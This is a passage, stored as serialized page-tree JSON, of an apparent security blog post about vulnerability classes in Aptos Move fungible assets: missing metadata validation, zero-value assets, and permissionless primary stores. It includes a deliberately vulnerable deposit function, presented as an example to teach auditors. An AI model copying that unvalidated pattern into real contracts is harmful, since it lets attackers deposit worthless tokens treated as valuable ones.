metadata",{"type":23,"tag":213,"props":61608,"children":61609},{"style":274},[61610],{"type":28,"value":277},{"type":23,"tag":213,"props":61612,"children":61613},{"style":290},[61614],{"type":28,"value":61615}," Object",{"type":23,"tag":213,"props":61617,"children":61618},{"style":220},[61619],{"type":28,"value":434},{"type":23,"tag":213,"props":61621,"children":61622},{"style":290},[61623],{"type":28,"value":61624},"Metadata",{"type":23,"tag":213,"props":61626,"children":61627},{"style":220},[61628],{"type":28,"value":6230},{"type":23,"tag":213,"props":61630,"children":61631},{"class":215,"line":524},[61632,61637,61641,61645],{"type":23,"tag":213,"props":61633,"children":61634},{"style":268},[61635],{"type":28,"value":61636}," amount",{"type":23,"tag":213,"props":61638,"children":61639},{"style":274},[61640],{"type":28,"value":277},{"type":23,"tag":213,"props":61642,"children":61643},{"style":290},[61644],{"type":28,"value":308},{"type":23,"tag":213,"props":61646,"children":61647},{"style":220},[61648],{"type":28,"value":944},{"type":23,"tag":213,"props":61650,"children":61651},{"class":215,"line":533},[61652],{"type":23,"tag":213,"props":61653,"children":61654},{"style":220},[61655],{"type":28,"value":1208},{"type":23,"tag":24,"props":61657,"children":61658},{},[61659,61661,61666,61667,61672,61674,61679,61681,61688],{"type":28,"value":61660},"Unlike ",{"type":23,"tag":209,"props":61662,"children":61664},{"className":61663},[],[61665],{"type":28,"value":61020},{"type":28,"value":424},{"type":23,"tag":209,"props":61668,"children":61670},{"className":61669},[],[61671],{"type":28,"value":61565},{"type":28,"value":61673}," types are defined at runtime through the ",{"type":23,"tag":209,"props":61675,"children":61677},{"className":61676},[],[61678],{"type":28,"value":61624},{"type":28,"value":61680}," field. This change was meant to ",{"type":23,"tag":36,"props":61682,"children":61685},{"href":61683,"rel":61684},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[40],[61686],{"type":28,"value":61687},"enhance extensibility",{"type":28,"value":277},{"type":23,"tag":3036,"props":61690,"children":61691},{},[61692],{"type":23,"tag":24,"props":61693,"children":61694},{},[61695],{"type":28,"value":61696},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":61698,"children":61699},{},[61700,61702,61708],{"type":28,"value":61701},"An important implication is that functions accepting ",{"type":23,"tag":209,"props":61703,"children":61705},{"className":61704},[],[61706],{"type":28,"value":61707},"FungibleAssets",{"type":28,"value":61709}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":61711,"children":61712},{},[61713],{"type":28,"value":61714},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":202,"props":61716,"children":61718},{"className":206,"code":61717,"language":205,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[61719],{"type":23,"tag":209,"props":61720,"children":61721},{"__ignoreMap":7},[61722,61759,61797,61821,61833,61841,61886,61920,61950,61957,61994,62001,62039,62046,62092],{"type":23,"tag":213,"props":61723,"children":61724},{"class":215,"line":216},[61725,61730,61734,61739,61743,61747,61751,61755],{"type":23,"tag":213,"props":61726,"children":61727},{"style":268},[61728],{"type":28,"value":61729},"public",{"type":23,"tag":213,"props":61731,"children":61732},{"style":268},[61733],{"type":28,"value":6299},{"type":23,"tag":213,"props":61735,"children":61736},{"style":268},[61737],{"type":28,"value":61738}," deposit",{"type":23,"tag":213,"props":61740,"children":61741},{"style":220},[61742],{"type":28,"value":434},{"type":23,"tag":213,"props":61744,"children":61745},{"style":290},[61746],{"type":28,"value":6079},{"type":23,"tag":213,"props":61748,"children":61749},{"style":274},[61750],{"type":28,"value":277},{"type":23,"tag":213,"props":61752,"children":61753},{"style":268},[61754],{"type":28,"value":918},{"type":23,"tag":213,"props":61756,"children":61757},{"style":220},[61758],{"type":28,"value":6681},{"type":23,"tag":213,"props":61760,"children":61761},{"class":215,"line":226},[61762,61767,61771,61775,61779,61783,61788,61792],{"type":23,"tag":213,"props":61763,"children":61764},{"style":268},[61765],{"type":28,"value":61766}," sender",{"type":23,"tag":213,"props":61768,"children":61769},{"style":274},[61770],{"type":28,"value":277},{"type":23,"tag":213,"props":61772,"children":61773},{"style":274},[61774],{"type":28,"value":927},{"type":23,"tag":213,"props":61776,"children":61777},{"style":268},[61778],{"type":28,"value":7236},{"type":23,"tag":213,"props":61780,"children":61781},{"style":220},[61782],{"type":28,"value":424},{"type":23,"tag":213,"props":61784,"children":61785},{"style":268},[61786],{"type":28,"value":61787},"fa",{"type":23,"tag":213,"props":61789,"children":61790},{"style":274},[61791],{"type":28,"value":277},{"type":23,"tag":213,"props":61793,"children":61794},{"style":290},[61795],{"type":28,"value":61796}," FungibleAsset\n",{"type":23,"tag":213,"props":61798,"children":61799},{"class":215,"line":524},[61800,61804,61808,61812,61816],{"type":23,"tag":213,"props":61801,"children":61802},{"style":220},[61803],{"type":28,"value":298},{"type":23,"tag":213,"props":61805,"children":61806},{"style":268},[61807],{"type":28,"value":6436},{"type":23,"tag":213,"props":61809,"children":61810},{"style":220},[61811],{"type":28,"value":469},{"type":23,"tag":213,"props":61813,"children":61814},{"style":274},[61815],{"type":28,"value":9675},{"type":23,"tag":213,"props":61817,"children":61818},{"style":220},[61819],{"type":28,"value":61820},"] {\n",{"type":23,"tag":213,"props":61822,"children":61823},{"class":215,"line":533},[61824,61829],{"type":23,"tag":213,"props":61825,"children":61826},{"style":257},[61827],{"type":28,"value":61828}," assert_not_paused",{"type":23,"tag":213,"props":61830,"children":61831},{"style":220},[61832],{"type":28,"value":3759},{"type":23,"tag":213,"props":61834,"children":61835},{"class":215,"line":543},[61836],{"type":23,"tag":213,"props":61837,"children":61838},{"style":220},[61839],{"type":28,"value":61840}," \n",{"type":23,"tag":213,"props":61842,"children":61843},{"class":215,"line":551},[61844,61848,61853,61857,61862,61866,61870,61874,61878,61882],{"type":23,"tag":213,"props":61845,"children":61846},{"style":230},[61847],{"type":28,"value":487},{"type":23,"tag":213,"props":61849,"children":61850},{"style":268},[61851],{"type":28,"value":61852}," fa_amount",{"type":23,"tag":213,"props":61854,"children":61855},{"style":274},[61856],{"type":28,"value":511},{"type":23,"tag":213,"props":61858,"children":61859},{"style":220},[61860],{"type":28,"value":61861}," fungible_asset",{"type":23,"tag":213,"props":61863,"children":61864},{"style":274},[61865],{"type":28,"value":562},{"type":23,"tag":213,"props":61867,"children":61868},{"style":257},[61869],{"type":28,"value":20361},{"type":23,"tag":213,"props":61871,"children":61872},{"style":220},[61873],{"type":28,"value":265},{"type":23,"tag":213,"props":61875,"children":61876},{"style":274},[61877],{"type":28,"value":405},{"type":23,"tag":213,"props":61879,"children":61880},{"style":268},[61881],{"type":28,"value":61787},{"type":23,"tag":213,"props":61883,"children":61884},{"style":220},[61885],{"type":28,"value":2867},{"type":23,"tag":213,"props":61887,"children":61888},{"class":215,"line":570},[61889,61893,61898,61902,61907,61911,61916],{"type":23,"tag":213,"props":61890,"children":61891},{"style":230},[61892],{"type":28,"value":487},{"type":23,"tag":213,"props":61894,"children":61895},{"style":268},[61896],{"type":28,"value":61897}," sender_address",{"type":23,"tag":213,"props":61899,"children":61900},{"style":274},[61901],{"type":28,"value":511},{"type":23,"tag":213,"props":61903,"children":61904},{"style":257},[61905],{"type":28,"value":61906}," address_of",{"type":23,"tag":213,"props":61908,"children":61909},{"style":220},[61910],{"type":28,"value":265},{"type":23,"tag":213,"props":61912,"children":61913},{"style":268},[61914],{"type":28,"value":61915},"sender",{"type":23,"tag":213,"props":61917,"children":61918},{"style":220},[61919],{"type":28,"value":2867},{"type":23,"tag":213,"props":61921,"children":61922},{"class":215,"line":655},[61923,61928,61932,61937,61941,61946],{"type":23,"tag":213,"props":61924,"children":61925},{"style":257},[61926],{"type":28,"value":61927}," check_compliance",{"type":23,"tag":213,"props":61929,"children":61930},{"style":220},[61931],{"type":28,"value":265},{"type":23,"tag":213,"props":61933,"children":61934},{"style":268},[61935],{"type":28,"value":61936},"fa_amount",{"type":23,"tag":213,"props":61938,"children":61939},{"style":220},[61940],{"type":28,"value":424},{"type":23,"tag":213,"props":61942,"children":61943},{"style":268},[61944],{"type":28,"value":61945},"sender_address",{"type":23,"tag":213,"props":61947,"children":61948},{"style":220},[61949],{"type":28,"value":2867},{"type":23,"tag":213,"props":61951,"children":61952},{"class":215,"line":1176},[61953],{"type":23,"tag":213,"props":61954,"children":61955},{"style":220},[61956],{"type":28,"value":61840},{"type":23,"tag":213,"props":61958,"children":61959},{"class":215,"line":1202},[61960,61965,61969,61974,61978,61982,61986,61990],{"type":23,"tag":213,"props":61961,"children":61962},{"style":257},[61963],{"type":28,"value":61964}," increase_deposit",{"type":23,"tag":213,"props":61966,"children":61967},{"style":220},[61968],{"type":28,"value":265},{"type":23,"tag":213,"props":61970,"children":61971},{"style":257},[61972],{"type":28,"value":61973},"get_vault",{"type":23,"tag":213,"props":61975,"children":61976},{"style":220},[61977],{"type":28,"value":265},{"type":23,"tag":213,"props":61979,"children":61980},{"style":268},[61981],{"type":28,"value":61945},{"type":23,"tag":213,"props":61983,"children":61984},{"style":220},[61985],{"type":28,"value":15236},{"type":23,"tag":213,"props":61987,"children":61988},{"style":268},[61989],{"type":28,"value":61936},{"type":23,"tag":213,"props":61991,"children":61992},{"style":220},[61993],{"type":28,"value":2867},{"type":23,"tag":213,"props":61995,"children":61996},{"class":215,"line":1758},[61997],{"type":23,"tag":213,"props":61998,"children":61999},{"style":220},[62000],{"type":28,"value":61840},{"type":23,"tag":213,"props":62002,"children":62003},{"class":215,"line":1767},[62004,62009,62013,62018,62022,62027,62031,62035],{"type":23,"tag":213,"props":62005,"children":62006},{"style":220},[62007],{"type":28,"value":62008}," primary_fungible_store",{"type":23,"tag":213,"props":62010,"children":62011},{"style":274},[62012],{"type":28,"value":562},{"type":23,"tag":213,"props":62014,"children":62015},{"style":257},[62016],{"type":28,"value":62017},"deposit",{"type":23,"tag":213,"props":62019,"children":62020},{"style":220},[62021],{"type":28,"value":265},{"type":23,"tag":213,"props":62023,"children":62024},{"style":257},[62025],{"type":28,"value":62026},"global_vault_address",{"type":23,"tag":213,"props":62028,"children":62029},{"style":220},[62030],{"type":28,"value":18426},{"type":23,"tag":213,"props":62032,"children":62033},{"style":268},[62034],{"type":28,"value":61787},{"type":23,"tag":213,"props":62036,"children":62037},{"style":220},[62038],{"type":28,"value":2867},{"type":23,"tag":213,"props":62040,"children":62041},{"class":215,"line":1789},[62042],{"type":23,"tag":213,"props":62043,"children":62044},{"style":220},[62045],{"type":28,"value":61840},{"type":23,"tag":213,"props":62047,"children":62048},{"class":215,"line":1812},[62049,62054,62058,62063,62067,62072,62076,62080,62084,62088],{"type":23,"tag":213,"props":62050,"children":62051},{"style":220},[62052],{"type":28,"value":62053}," event",{"type":23,"tag":213,"props":62055,"children":62056},{"style":274},[62057],{"type":28,"value":562},{"type":23,"tag":213,"props":62059,"children":62060},{"style":257},[62061],{"type":28,"value":62062},"emit",{"type":23,"tag":213,"props":62064,"children":62065},{"style":220},[62066],{"type":28,"value":265},{"type":23,"tag":213,"props":62068,"children":62069},{"style":290},[62070],{"type":28,"value":62071},"Deposit",{"type":23,"tag":213,"props":62073,"children":62074},{"style":220},[62075],{"type":28,"value":45268},{"type":23,"tag":213,"props":62077,"children":62078},{"style":268},[62079],{"type":28,"value":61945},{"type":23,"tag":213,"props":62081,"children":62082},{"style":220},[62083],{"type":28,"value":424},{"type":23,"tag":213,"props":62085,"children":62086},{"style":268},[62087],{"type":28,"value":61936},{"type":23,"tag":213,"props":62089,"children":62090},{"style":220},[62091],{"type":28,"value":33078},{"type":23,"tag":213,"props":62093,"children":62094},{"class":215,"line":1838},[62095],{"type":23,"tag":213,"props":62096,"children":62097},{"style":220},[62098],{"type":28,"value":1208},{"type":23,"tag":24,"props":62100,"children":62101},{},[62102],{"type":28,"value":62103},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":62105,"children":62106},{},[62107],{"type":28,"value":62108},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":47,"props":62110,"children":62112},{"id":62111},"fungible-stores",[62113],{"type":28,"value":62114},"Fungible stores",{"type":23,"tag":24,"props":62116,"children":62117},{},[62118],{"type":28,"value":62119},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":62121,"children":62122},{},[62123,62125,62131],{"type":28,"value":62124},"Meet the ",{"type":23,"tag":209,"props":62126,"children":62128},{"className":62127},[],[62129],{"type":28,"value":62130},"FungibleStore",{"type":28,"value":124},{"type":23,"tag":202,"props":62133,"children":62135},{"className":206,"code":62134,"language":205,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[62136],{"type":23,"tag":209,"props":62137,"children":62138},{"__ignoreMap":7},[62139,62163,62190,62210,62229],{"type":23,"tag":213,"props":62140,"children":62141},{"class":215,"line":216},[62142,62146,62151,62155,62159],{"type":23,"tag":213,"props":62143,"children":62144},{"style":230},[62145],{"type":28,"value":9486},{"type":23,"tag":213,"props":62147,"children":62148},{"style":290},[62149],{"type":28,"value":62150}," FungibleStore",{"type":23,"tag":213,"props":62152,"children":62153},{"style":268},[62154],{"type":28,"value":9495},{"type":23,"tag":213,"props":62156,"children":62157},{"style":268},[62158],{"type":28,"value":918},{"type":23,"tag":213,"props":62160,"children":62161},{"style":220},[62162],{"type":28,"value":1375},{"type":23,"tag":213,"props":62164,"children":62165},{"class":215,"line":226},[62166,62170,62174,62178,62182,62186],{"type":23,"tag":213,"props":62167,"children":62168},{"style":268},[62169],{"type":28,"value":61606},{"type":23,"tag":213,"props":62171,"children":62172},{"style":274},[62173],{"type":28,"value":277},{"type":23,"tag":213,"props":62175,"children":62176},{"style":290},[62177],{"type":28,"value":61615},{"type":23,"tag":213,"props":62179,"children":62180},{"style":220},[62181],{"type":28,"value":434},{"type":23,"tag":213,"props":62183,"children":62184},{"style":290},[62185],{"type":28,"value":61624},{"type":23,"tag":213,"props":62187,"children":62188},{"style":220},[62189],{"type":28,"value":6230},{"type":23,"tag":213,"props":62191,"children":62192},{"class":215,"line":524},[62193,62198,62202,62206],{"type":23,"tag":213,"props":62194,"children":62195},{"style":268},[62196],{"type":28,"value":62197}," balance",{"type":23,"tag":213,"props":62199,"children":62200},{"style":274},[62201],{"type":28,"value":277},{"type":23,"tag":213,"props":62203,"children":62204},{"style":290},[62205],{"type":28,"value":308},{"type":23,"tag":213,"props":62207,"children":62208},{"style":220},[62209],{"type":28,"value":944},{"type":23,"tag":213,"props":62211,"children":62212},{"class":215,"line":533},[62213,62217,62221,62225],{"type":23,"tag":213,"props":62214,"children":62215},{"style":268},[62216],{"type":28,"value":61267},{"type":23,"tag":213,"props":62218,"children":62219},{"style":274},[62220],{"type":28,"value":277},{"type":23,"tag":213,"props":62222,"children":62223},{"style":290},[62224],{"type":28,"value":965},{"type":23,"tag":213,"props":62226,"children":62227},{"style":220},[62228],{"type":28,"value":944},{"type":23,"tag":213,"props":62230,"children":62231},{"class":215,"line":543},[62232],{"type":23,"tag":213,"props":62233,"children":62234},{"style":220},[62235],{"type":28,"value":1208},{"type":23,"tag":24,"props":62237,"children":62238},{},[62239,62244,62246,62251,62253,62258,62260,62265,62267,62272],{"type":23,"tag":209,"props":62240,"children":62242},{"className":62241},[],[62243],{"type":28,"value":62130},{"type":28,"value":62245}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":209,"props":62247,"children":62249},{"className":62248},[],[62250],{"type":28,"value":61565},{"type":28,"value":62252}," (it can't because ",{"type":23,"tag":209,"props":62254,"children":62256},{"className":62255},[],[62257],{"type":28,"value":61565},{"type":28,"value":62259}," doesn't have ",{"type":23,"tag":209,"props":62261,"children":62263},{"className":62262},[],[62264],{"type":28,"value":6032},{"type":28,"value":62266},"). Withdrawals create temporary ",{"type":23,"tag":209,"props":62268,"children":62270},{"className":62269},[],[62271],{"type":28,"value":61565},{"type":28,"value":62273}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":18845,"props":62275,"children":62276},{},[],{"type":23,"tag":24,"props":62278,"children":62279},{},[62280,62282,62287,62289,62294],{"type":28,"value":62281},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":209,"props":62283,"children":62285},{"className":62284},[],[62286],{"type":28,"value":61565},{"type":28,"value":62288}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":209,"props":62290,"children":62292},{"className":62291},[],[62293],{"type":28,"value":61565},{"type":28,"value":124},{"type":23,"tag":202,"props":62296,"children":62298},{"className":206,"code":62297,"language":205,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[62299],{"type":23,"tag":209,"props":62300,"children":62301},{"__ignoreMap":7},[62302,62339,62391,62434,62441,62448,62520,62532,62570,62589,62596],{"type":23,"tag":213,"props":62303,"children":62304},{"class":215,"line":216},[62305,62309,62313,62318,62322,62327,62331,62335],{"type":23,"tag":213,"props":62306,"children":62307},{"style":268},[62308],{"type":28,"value":61729},{"type":23,"tag":213,"props":62310,"children":62311},{"style":268},[62312],{"type":28,"value":6299},{"type":23,"tag":213,"props":62314,"children":62315},{"style":257},[62316],{"type":28,"value":62317}," destroy_zero",{"type":23,"tag":213,"props":62319,"children":62320},{"style":220},[62321],{"type":28,"value":265},{"type":23,"tag":213,"props":62323,"children":62324},{"style":268},[62325],{"type":28,"value":62326},"fungible_asset",{"type":23,"tag":213,"props":62328,"children":62329},{"style":274},[62330],{"type":28,"value":277},{"type":23,"tag":213,"props":62332,"children":62333},{"style":290},[62334],{"type":28,"value":61594},{"type":23,"tag":213,"props":62336,"children":62337},{"style":220},[62338],{"type":28,"value":14870},{"type":23,"tag":213,"props":62340,"children":62341},{"class":215,"line":226},[62342,62346,62350,62354,62358,62362,62367,62371,62375,62379,62383,62387],{"type":23,"tag":213,"props":62343,"children":62344},{"style":230},[62345],{"type":28,"value":487},{"type":23,"tag":213,"props":62347,"children":62348},{"style":290},[62349],{"type":28,"value":61594},{"type":23,"tag":213,"props":62351,"children":62352},{"style":220},[62353],{"type":28,"value":2572},{"type":23,"tag":213,"props":62355,"children":62356},{"style":268},[62357],{"type":28,"value":20361},{"type":23,"tag":213,"props":62359,"children":62360},{"style":220},[62361],{"type":28,"value":424},{"type":23,"tag":213,"props":62363,"children":62364},{"style":268},[62365],{"type":28,"value":62366},"metadata",{"type":23,"tag":213,"props":62368,"children":62369},{"style":274},[62370],{"type":28,"value":277},{"type":23,"tag":213,"props":62372,"children":62373},{"style":268},[62374],{"type":28,"value":3136},{"type":23,"tag":213,"props":62376,"children":62377},{"style":220},[62378],{"type":28,"value":36260},{"type":23,"tag":213,"props":62380,"children":62381},{"style":274},[62382],{"type":28,"value":3190},{"type":23,"tag":213,"props":62384,"children":62385},{"style":268},[62386],{"type":28,"value":61861},{"type":23,"tag":213,"props":62388,"children":62389},{"style":220},[62390],{"type":28,"value":313},{"type":23,"tag":213,"props":62392,"children":62393},{"class":215,"line":524},[62394,62399,62403,62407,62411,62415,62420,62424,62429],{"type":23,"tag":213,"props":62395,"children":62396},{"style":257},[62397],{"type":28,"value":62398}," assert!",{"type":23,"tag":213,"props":62400,"children":62401},{"style":220},[62402],{"type":28,"value":265},{"type":23,"tag":213,"props":62404,"children":62405},{"style":268},[62406],{"type":28,"value":20361},{"type":23,"tag":213,"props":62408,"children":62409},{"style":274},[62410],{"type":28,"value":3379},{"type":23,"tag":213,"props":62412,"children":62413},{"style":514},[62414],{"type":28,"value":517},{"type":23,"tag":213,"props":62416,"children":62417},{"style":220},[62418],{"type":28,"value":62419},", error",{"type":23,"tag":213,"props":62421,"children":62422},{"style":274},[62423],{"type":28,"value":562},{"type":23,"tag":213,"props":62425,"children":62426},{"style":257},[62427],{"type":28,"value":62428},"invalid_argument",{"type":23,"tag":213,"props":62430,"children":62431},{"style":220},[62432],{"type":28,"value":62433},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":213,"props":62435,"children":62436},{"class":215,"line":533},[62437],{"type":23,"tag":213,"props":62438,"children":62439},{"style":220},[62440],{"type":28,"value":1208},{"type":23,"tag":213,"props":62442,"children":62443},{"class":215,"line":543},[62444],{"type":23,"tag":213,"props":62445,"children":62446},{"emptyLinePlaceholder":18},[62447],{"type":28,"value":530},{"type":23,"tag":213,"props":62449,"children":62450},{"class":215,"line":551},[62451,62455,62459,62464,62468,62472,62476,62480,62484,62488,62492,62496,62500,62504,62508,62512,62516],{"type":23,"tag":213,"props":62452,"children":62453},{"style":268},[62454],{"type":28,"value":61729},{"type":23,"tag":213,"props":62456,"children":62457},{"style":268},[62458],{"type":28,"value":6299},{"type":23,"tag":213,"props":62460,"children":62461},{"style":268},[62462],{"type":28,"value":62463}," zero",{"type":23,"tag":213,"props":62465,"children":62466},{"style":220},[62467],{"type":28,"value":434},{"type":23,"tag":213,"props":62469,"children":62470},{"style":290},[62471],{"type":28,"value":6079},{"type":23,"tag":213,"props":62473,"children":62474},{"style":274},[62475],{"type":28,"value":277},{"type":23,"tag":213,"props":62477,"children":62478},{"style":268},[62479],{"type":28,"value":918},{"type":23,"tag":213,"props":62481,"children":62482},{"style":220},[62483],{"type":28,"value":367},{"type":23,"tag":213,"props":62485,"children":62486},{"style":268},[62487],{"type":28,"value":62366},{"type":23,"tag":213,"props":62489,"children":62490},{"style":274},[62491],{"type":28,"value":277},{"type":23,"tag":213,"props":62493,"children":62494},{"style":290},[62495],{"type":28,"value":61615},{"type":23,"tag":213,"props":62497,"children":62498},{"style":220},[62499],{"type":28,"value":434},{"type":23,"tag":213,"props":62501,"children":62502},{"style":290},[62503],{"type":28,"value":6079},{"type":23,"tag":213,"props":62505,"children":62506},{"style":220},[62507],{"type":28,"value":8474},{"type":23,"tag":213,"props":62509,"children":62510},{"style":274},[62511],{"type":28,"value":277},{"type":23,"tag":213,"props":62513,"children":62514},{"style":290},[62515],{"type":28,"value":61594},{"type":23,"tag":213,"props":62517,"children":62518},{"style":220},[62519],{"type":28,"value":1375},{"type":23,"tag":213,"props":62521,"children":62522},{"class":215,"line":570},[62523,62528],{"type":23,"tag":213,"props":62524,"children":62525},{"style":290},[62526],{"type":28,"value":62527}," FungibleAsset",{"type":23,"tag":213,"props":62529,"children":62530},{"style":220},[62531],{"type":28,"value":1375},{"type":23,"tag":213,"props":62533,"children":62534},{"class":215,"line":655},[62535,62540,62544,62549,62553,62558,62562,62566],{"type":23,"tag":213,"props":62536,"children":62537},{"style":268},[62538],{"type":28,"value":62539}," metadata",{"type":23,"tag":213,"props":62541,"children":62542},{"style":274},[62543],{"type":28,"value":277},{"type":23,"tag":213,"props":62545,"children":62546},{"style":220},[62547],{"type":28,"value":62548}," object",{"type":23,"tag":213,"props":62550,"children":62551},{"style":274},[62552],{"type":28,"value":562},{"type":23,"tag":213,"props":62554,"children":62555},{"style":257},[62556],{"type":28,"value":62557},"convert",{"type":23,"tag":213,"props":62559,"children":62560},{"style":220},[62561],{"type":28,"value":265},{"type":23,"tag":213,"props":62563,"children":62564},{"style":268},[62565],{"type":28,"value":62366},{"type":23,"tag":213,"props":62567,"children":62568},{"style":220},[62569],{"type":28,"value":1715},{"type":23,"tag":213,"props":62571,"children":62572},{"class":215,"line":1176},[62573,62577,62581,62585],{"type":23,"tag":213,"props":62574,"children":62575},{"style":268},[62576],{"type":28,"value":7538},{"type":23,"tag":213,"props":62578,"children":62579},{"style":274},[62580],{"type":28,"value":277},{"type":23,"tag":213,"props":62582,"children":62583},{"style":514},[62584],{"type":28,"value":517},{"type":23,"tag":213,"props":62586,"children":62587},{"style":220},[62588],{"type":28,"value":944},{"type":23,"tag":213,"props":62590,"children":62591},{"class":215,"line":1202},[62592],{"type":23,"tag":213,"props":62593,"children":62594},{"style":220},[62595],{"type":28,"value":2875},{"type":23,"tag":213,"props":62597,"children":62598},{"class":215,"line":1758},[62599],{"type":23,"tag":213,"props":62600,"children":62601},{"style":220},[62602],{"type":28,"value":1208},{"type":23,"tag":24,"props":62604,"children":62605},{},[62606],{"type":28,"value":62607},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":62609,"children":62610},{},[62611,62613,62618],{"type":28,"value":62612},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":209,"props":62614,"children":62616},{"className":62615},[],[62617],{"type":28,"value":61707},{"type":28,"value":62619}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":9693,"props":62621,"children":62623},{"id":62622},"primary-and-secondary-stores",[62624],{"type":28,"value":62625},"Primary and secondary stores",{"type":23,"tag":24,"props":62627,"children":62628},{},[62629,62635,62637,62643,62645,62650],{"type":23,"tag":209,"props":62630,"children":62632},{"className":62631},[],[62633],{"type":28,"value":62634},"FungibleStores",{"type":28,"value":62636}," in comparison to ",{"type":23,"tag":209,"props":62638,"children":62640},{"className":62639},[],[62641],{"type":28,"value":62642},"CoinStores",{"type":28,"value":62644}," are not unique. Each user can have multiple ",{"type":23,"tag":209,"props":62646,"children":62648},{"className":62647},[],[62649],{"type":28,"value":62130},{"type":28,"value":62651}," objects for a given token!",{"type":23,"tag":24,"props":62653,"children":62654},{},[62655,62657,62664,62666,62671],{"type":28,"value":62656},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":36,"props":62658,"children":62661},{"href":62659,"rel":62660},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[40],[62662],{"type":28,"value":62663},"primary_fungible_store",{"type":28,"value":62665}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":209,"props":62667,"children":62669},{"className":62668},[],[62670],{"type":28,"value":61624},{"type":28,"value":62672}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":62674,"children":62675},{},[62676],{"type":28,"value":62677},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":202,"props":62679,"children":62681},{"className":206,"code":62680,"language":205,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[62682],{"type":23,"tag":209,"props":62683,"children":62684},{"__ignoreMap":7},[62685,62710,62742,62765,62781,62835,62850],{"type":23,"tag":213,"props":62686,"children":62687},{"class":215,"line":216},[62688,62692,62697,62701,62706],{"type":23,"tag":213,"props":62689,"children":62690},{"style":268},[62691],{"type":28,"value":61729},{"type":23,"tag":213,"props":62693,"children":62694},{"style":268},[62695],{"type":28,"value":62696}," entry",{"type":23,"tag":213,"props":62698,"children":62699},{"style":268},[62700],{"type":28,"value":6299},{"type":23,"tag":213,"props":62702,"children":62703},{"style":257},[62704],{"type":28,"value":62705}," register",{"type":23,"tag":213,"props":62707,"children":62708},{"style":220},[62709],{"type":28,"value":1511},{"type":23,"tag":213,"props":62711,"children":62712},{"class":215,"line":226},[62713,62718,62722,62726,62730,62734,62738],{"type":23,"tag":213,"props":62714,"children":62715},{"style":268},[62716],{"type":28,"value":62717}," user",{"type":23,"tag":213,"props":62719,"children":62720},{"style":274},[62721],{"type":28,"value":277},{"type":23,"tag":213,"props":62723,"children":62724},{"style":274},[62725],{"type":28,"value":927},{"type":23,"tag":213,"props":62727,"children":62728},{"style":268},[62729],{"type":28,"value":7236},{"type":23,"tag":213,"props":62731,"children":62732},{"style":220},[62733],{"type":28,"value":44186},{"type":23,"tag":213,"props":62735,"children":62736},{"style":274},[62737],{"type":28,"value":9675},{"type":23,"tag":213,"props":62739,"children":62740},{"style":220},[62741],{"type":28,"value":11856},{"type":23,"tag":213,"props":62743,"children":62744},{"class":215,"line":524},[62745,62749,62753,62757,62761],{"type":23,"tag":213,"props":62746,"children":62747},{"style":220},[62748],{"type":28,"value":298},{"type":23,"tag":213,"props":62750,"children":62751},{"style":268},[62752],{"type":28,"value":6436},{"type":23,"tag":213,"props":62754,"children":62755},{"style":220},[62756],{"type":28,"value":469},{"type":23,"tag":213,"props":62758,"children":62759},{"style":274},[62760],{"type":28,"value":9675},{"type":23,"tag":213,"props":62762,"children":62763},{"style":220},[62764],{"type":28,"value":61820},{"type":23,"tag":213,"props":62766,"children":62767},{"class":215,"line":533},[62768,62773,62777],{"type":23,"tag":213,"props":62769,"children":62770},{"style":220},[62771],{"type":28,"value":62772}," 